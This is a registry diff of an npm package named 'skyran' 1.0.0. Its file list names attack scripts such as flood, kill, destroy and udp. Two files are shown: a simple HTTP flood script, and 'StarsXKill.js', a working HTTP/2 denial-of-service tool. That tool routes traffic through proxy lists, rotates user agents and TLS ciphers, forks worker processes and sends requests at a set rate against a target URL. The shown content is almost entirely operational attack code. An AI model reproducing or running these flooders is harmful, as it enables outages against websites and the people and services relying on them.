skyran 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +453 -0
- package/lib/cache/StarsXMc.js +104 -0
- package/lib/cache/StarsXSSH.js +36 -0
- package/lib/cache/StarsXSamp.js +67 -0
- package/lib/cache/StarsXTemp.js +63 -0
- package/lib/cache/StarsXWiFi.js +64 -0
- package/lib/cache/bypass.js +3176 -0
- package/lib/cache/destroy.js +10292 -0
- package/lib/cache/flood.js +20 -0
- package/lib/cache/kill.js +297 -0
- package/lib/cache/rape.js +681 -0
- package/lib/cache/raw.js +50 -0
- package/lib/cache/storm.js +3185 -0
- package/lib/cache/strike.js +812 -0
- package/lib/cache/thunder.js +856 -0
- package/lib/cache/tls.js +262 -0
- package/lib/cache/udp.js +53 -0
- package/package.json +38 -0
- package/package.json.bak +37 -0
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
const target = process.argv[2];
|
|
2
|
+
const duration = process.argv[3];
|
|
3
|
+
|
|
4
|
+
if (process.argv.length < 4 || isNaN(parseInt(duration))) {
|
|
5
|
+
console.log('Invalid Usage: node StarsXDoS-V1.js URL DURATION.');
|
|
6
|
+
process.exit(1)
|
|
7
|
+
} else {
|
|
8
|
+
const attackInterval = setInterval(() => {
|
|
9
|
+
for (let i = 0; i < 100; i++) {
|
|
10
|
+
fetch(target).catch(error => {});
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
setTimeout(() => {
|
|
16
|
+
clearInterval(attackInterval);
|
|
17
|
+
console.log('Attack stopped.');
|
|
18
|
+
process.exit(0);
|
|
19
|
+
}, duration * 1000);
|
|
20
|
+
}
|
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
const net = require("net");
|
|
2
|
+
const http2 = require("http2");
|
|
3
|
+
const tls = require("tls");
|
|
4
|
+
const cluster = require("cluster");
|
|
5
|
+
const url = require("url");
|
|
6
|
+
const crypto = require("crypto");
|
|
7
|
+
const fs = require("fs");
|
|
8
|
+
|
|
9
|
+
process.setMaxListeners(0);
|
|
10
|
+
require("events").EventEmitter.defaultMaxListeners = 0;
|
|
11
|
+
|
|
12
|
+
if (process.argv.length < 5){console.log(`
|
|
13
|
+
HOW TO RUN METHOD!
|
|
14
|
+
node StarsXKill.js [URL] [TIME] [RPS] [THREAD]
|
|
15
|
+
`); process.exit();}
|
|
16
|
+
|
|
17
|
+
const cplist = [ // Cipher By PermenMD
|
|
18
|
+
"ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:HIGH:!aNULL:!MD5:!RC4",
|
|
19
|
+
"ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:RSA-PSS-RSAE-SHA512:RSA-PKCS1-SHA512:RSA-PSS-RSAE-SHA384:RSA-PKCS1-SHA384:RSA-PSS-RSAE-SHA256:RSA-PKCS1-SHA256",
|
|
20
|
+
"ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:DHE-DSS-AES128-GCM-SHA256:AES256-SHA:AES128-SHA:HIGH:!aNULL:!MD5:!RC4",
|
|
21
|
+
"ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5",
|
|
22
|
+
"ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:HIGH:!aNULL:!MD5",
|
|
23
|
+
"AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA:HIGH:!aNULL:!MD5:!RC4",
|
|
24
|
+
"DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:HIGH:!aNULL:!MD5",
|
|
25
|
+
"ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:HIGH:!aNULL:!MD5",
|
|
26
|
+
"ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:AES256-SHA:HIGH:!aNULL:!MD5:!3DES",
|
|
27
|
+
"DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:HIGH:!aNULL:!MD5",
|
|
28
|
+
"ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:HIGH:!aNULL:!MD5",
|
|
29
|
+
"AES128-SHA:AES256-SHA:AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4",
|
|
30
|
+
"RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
|
|
31
|
+
"ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
|
|
32
|
+
"ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!AESGCM:!CAMELLIA:!3DES:!EDH"
|
|
33
|
+
];
|
|
34
|
+
var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))];
|
|
35
|
+
|
|
36
|
+
const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
|
|
37
|
+
|
|
38
|
+
const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
|
|
39
|
+
|
|
40
|
+
const secureOptions =
|
|
41
|
+
crypto.constants.SSL_OP_NO_SSLv2 |
|
|
42
|
+
crypto.constants.SSL_OP_NO_SSLv3 |
|
|
43
|
+
crypto.constants.SSL_OP_NO_TLSv1 |
|
|
44
|
+
crypto.constants.SSL_OP_NO_TLSv1_1 |
|
|
45
|
+
crypto.constants.ALPN_ENABLED |
|
|
46
|
+
crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
|
|
47
|
+
crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
|
|
48
|
+
crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
|
|
49
|
+
crypto.constants.SSL_OP_COOKIE_EXCHANGE |
|
|
50
|
+
crypto.constants.SSL_OP_PKCS1_CHECK_1 |
|
|
51
|
+
crypto.constants.SSL_OP_PKCS1_CHECK_2 |
|
|
52
|
+
crypto.constants.SSL_OP_SINGLE_DH_USE |
|
|
53
|
+
crypto.constants.SSL_OP_SINGLE_ECDH_USE |
|
|
54
|
+
crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
|
|
55
|
+
|
|
56
|
+
const secureProtocol = "TLS_client_method";
|
|
57
|
+
const headers = {};
|
|
58
|
+
|
|
59
|
+
const secureContextOptions = {
|
|
60
|
+
ciphers: cipper,
|
|
61
|
+
sigalgs: sigalgs,
|
|
62
|
+
honorCipherOrder: true,
|
|
63
|
+
secureOptions: secureOptions,
|
|
64
|
+
secureProtocol: secureProtocol
|
|
65
|
+
};
|
|
66
|
+
|
|
67
|
+
const secureContext = tls.createSecureContext(secureContextOptions);
|
|
68
|
+
|
|
69
|
+
var proxyFile = "proxy.txt";
|
|
70
|
+
var proxies = readLines(proxyFile);
|
|
71
|
+
var userAgents = readLines("ua.txt");
|
|
72
|
+
|
|
73
|
+
const args = {
|
|
74
|
+
target: process.argv[2],
|
|
75
|
+
time: ~~process.argv[3],
|
|
76
|
+
Rate: ~~process.argv[4],
|
|
77
|
+
threads: ~~process.argv[5]
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
const parsedTarget = url.parse(args.target);
|
|
81
|
+
|
|
82
|
+
if (cluster.isMaster) {
|
|
83
|
+
for (let counter = 1; counter <= args.threads; counter++) {
|
|
84
|
+
cluster.fork();
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
console.clear();
|
|
88
|
+
console.log(`
|
|
89
|
+
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
|
|
90
|
+
TARGET : ` + parsedTarget.host + `
|
|
91
|
+
DURATION : ` + args.time + `
|
|
92
|
+
THREADS : ` + args.threads + `
|
|
93
|
+
RPS : ` + args.Rate + `
|
|
94
|
+
┣━━━━━━━━━━━━━━━ ATTACK STARTED ━━━━━━━━━━━━━━━━━┫
|
|
95
|
+
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
|
|
96
|
+
`);
|
|
97
|
+
|
|
98
|
+
setTimeout(() => {
|
|
99
|
+
process.exit(1);
|
|
100
|
+
}, process.argv[3] * 1000);
|
|
101
|
+
|
|
102
|
+
} else {for (let i = 0; i < 25; i++) { setInterval(runFlooder, 0) }}
|
|
103
|
+
|
|
104
|
+
class NetSocket {
|
|
105
|
+
constructor(){}
|
|
106
|
+
|
|
107
|
+
HTTP(options, callback) {
|
|
108
|
+
const parsedAddr = options.address.split(":");
|
|
109
|
+
const addrHost = parsedAddr[0];
|
|
110
|
+
const payload = "CONNECT " + options.address + ":443 HTTP/1.2\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
|
|
111
|
+
const buffer = new Buffer.from(payload);
|
|
112
|
+
|
|
113
|
+
const connection = net.connect({
|
|
114
|
+
host: options.host,
|
|
115
|
+
port: options.port,
|
|
116
|
+
allowHalfOpen: true,
|
|
117
|
+
writable: true,
|
|
118
|
+
readable: true
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
connection.setTimeout(options.timeout * 10000);
|
|
122
|
+
connection.setKeepAlive(true, 10000);
|
|
123
|
+
connection.setNoDelay(true)
|
|
124
|
+
|
|
125
|
+
connection.on("connect", () => {
|
|
126
|
+
connection.write(buffer);
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
connection.on("data", chunk => {
|
|
130
|
+
const response = chunk.toString("utf-8");
|
|
131
|
+
const isAlive = response.includes("HTTP/1.1 200");
|
|
132
|
+
if (isAlive === false) {
|
|
133
|
+
connection.destroy();
|
|
134
|
+
return callback(undefined, "error: invalid response from proxy server");
|
|
135
|
+
}
|
|
136
|
+
return callback(connection, undefined);
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
connection.on("timeout", () => {
|
|
140
|
+
connection.destroy();
|
|
141
|
+
return callback(undefined, "error: timeout exceeded");
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
connection.on("error", error => {
|
|
145
|
+
connection.destroy();
|
|
146
|
+
return callback(undefined, "error: " + error);
|
|
147
|
+
});
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
const Socker = new NetSocket();
|
|
152
|
+
|
|
153
|
+
function readLines(filePath) {
|
|
154
|
+
return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
function randomIntn(min, max) {
|
|
158
|
+
return Math.floor(Math.random() * (max - min) + min);
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
function randomElement(elements) {
|
|
162
|
+
return elements[randomIntn(0, elements.length)];
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
function randomCharacters(length) {
|
|
166
|
+
output = ""
|
|
167
|
+
for (let count = 0; count < length; count++) {
|
|
168
|
+
output += randomElement(characters);
|
|
169
|
+
}
|
|
170
|
+
return output;
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
headers[":method"] = "GET";
|
|
174
|
+
headers[":path"] = parsedTarget.path;
|
|
175
|
+
headers[":scheme"] = "https";
|
|
176
|
+
headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
|
|
177
|
+
headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
|
|
178
|
+
headers["accept-encoding"] = "gzip, deflate, br";
|
|
179
|
+
headers["content-type"] = "text/html";
|
|
180
|
+
headers["Except"] = "100-continue";
|
|
181
|
+
headers["Forwarder"] = "for=192.168.0.1;proto=http";
|
|
182
|
+
headers["From"] = "user@gmail.com";
|
|
183
|
+
headers["Max-Forwards"] = "10";
|
|
184
|
+
headers["origin"] = "https://" + parsedTarget.host;
|
|
185
|
+
headers["x-forwarded-proto"] = "https";
|
|
186
|
+
headers["pragma"] = "no-cache";
|
|
187
|
+
headers["referer"] = parsedTarget
|
|
188
|
+
headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
|
|
189
|
+
headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
|
|
190
|
+
headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
|
|
191
|
+
headers["sec-fetch-dest"] = "document";
|
|
192
|
+
headers["sec-fetch-mode"] = "navigate";
|
|
193
|
+
headers["sec-fetch-site"] = "same-origin";
|
|
194
|
+
headers["upgrade-insecure-requests"] = "1";
|
|
195
|
+
|
|
196
|
+
function runFlooder() {
|
|
197
|
+
const proxyAddr = randomElement(proxies);
|
|
198
|
+
const parsedProxy = proxyAddr.split(":");
|
|
199
|
+
|
|
200
|
+
/** headers dynamic */
|
|
201
|
+
headers[":authority"] = parsedTarget.host
|
|
202
|
+
headers["user-agent"] = randomElement(userAgents);
|
|
203
|
+
headers["x-forwarded-for"] = parsedProxy[0];
|
|
204
|
+
|
|
205
|
+
const proxyOptions = {
|
|
206
|
+
host: parsedProxy[0],
|
|
207
|
+
port: ~~parsedProxy[1],
|
|
208
|
+
address: parsedTarget.host + ":443",
|
|
209
|
+
timeout: 15
|
|
210
|
+
};
|
|
211
|
+
|
|
212
|
+
Socker.HTTP(proxyOptions, (connection, error) => {
|
|
213
|
+
if (error) return
|
|
214
|
+
|
|
215
|
+
connection.setKeepAlive(true, 60000);
|
|
216
|
+
connection.setNoDelay(true)
|
|
217
|
+
|
|
218
|
+
const settings = {
|
|
219
|
+
enablePush: false,
|
|
220
|
+
initialWindowSize: 1073741823
|
|
221
|
+
};
|
|
222
|
+
|
|
223
|
+
const tlsOptions = {
|
|
224
|
+
port: 443,
|
|
225
|
+
secure: true,
|
|
226
|
+
ALPNProtocols: ["h2", "http/1.2", "h3", "http/2+quic/43", 'http/2+quic/44', 'http/2+quic/45'],
|
|
227
|
+
ciphers: cipper,
|
|
228
|
+
sigalgs: sigalgs,
|
|
229
|
+
requestCert: true,
|
|
230
|
+
socket: connection,
|
|
231
|
+
ecdhCurve: ecdhCurve,
|
|
232
|
+
honorCipherOrder: true,
|
|
233
|
+
host: parsedTarget.host,
|
|
234
|
+
rejectUnauthorized: false,
|
|
235
|
+
clientCertEngine: "dynamic",
|
|
236
|
+
secureOptions: secureOptions,
|
|
237
|
+
secureContext: secureContext,
|
|
238
|
+
servername: parsedTarget.host,
|
|
239
|
+
secureProtocol: secureProtocol
|
|
240
|
+
};
|
|
241
|
+
|
|
242
|
+
const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions);
|
|
243
|
+
|
|
244
|
+
tlsConn.allowHalfOpen = true;
|
|
245
|
+
tlsConn.setNoDelay(true);
|
|
246
|
+
tlsConn.setKeepAlive(true, 60 * 1000);
|
|
247
|
+
tlsConn.setMaxListeners(0);
|
|
248
|
+
|
|
249
|
+
const client = http2.connect(parsedTarget.href, {
|
|
250
|
+
protocol: "https:",
|
|
251
|
+
settings: settings,
|
|
252
|
+
maxSessionMemory: 3333,
|
|
253
|
+
maxDeflateDynamicTableSize: 4294967295,
|
|
254
|
+
createConnection: () => tlsConn
|
|
255
|
+
//socket: connection,
|
|
256
|
+
});
|
|
257
|
+
|
|
258
|
+
client.setMaxListeners(0);
|
|
259
|
+
client.settings(settings);
|
|
260
|
+
|
|
261
|
+
client.on("connect", () => {
|
|
262
|
+
const IntervalAttack = setInterval(() => {
|
|
263
|
+
for (let i = 0; i < args.Rate; i++) {
|
|
264
|
+
headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
|
|
265
|
+
const request = client.request(headers)
|
|
266
|
+
|
|
267
|
+
.on("response", response => {
|
|
268
|
+
request.close();
|
|
269
|
+
request.destroy();
|
|
270
|
+
return
|
|
271
|
+
});
|
|
272
|
+
|
|
273
|
+
request.end();
|
|
274
|
+
}
|
|
275
|
+
}, 1000);
|
|
276
|
+
});
|
|
277
|
+
|
|
278
|
+
client.on("close", () => {
|
|
279
|
+
client.destroy();
|
|
280
|
+
connection.destroy();
|
|
281
|
+
return
|
|
282
|
+
});
|
|
283
|
+
|
|
284
|
+
client.on("error", error => {
|
|
285
|
+
client.destroy();
|
|
286
|
+
connection.destroy();
|
|
287
|
+
return
|
|
288
|
+
});
|
|
289
|
+
});
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
const KillScript = () => process.exit(1);
|
|
293
|
+
|
|
294
|
+
setTimeout(KillScript, args.time * 1000);
|
|
295
|
+
|
|
296
|
+
process.on('uncaughtException', error => {});
|
|
297
|
+
process.on('unhandledRejection', error => {});
|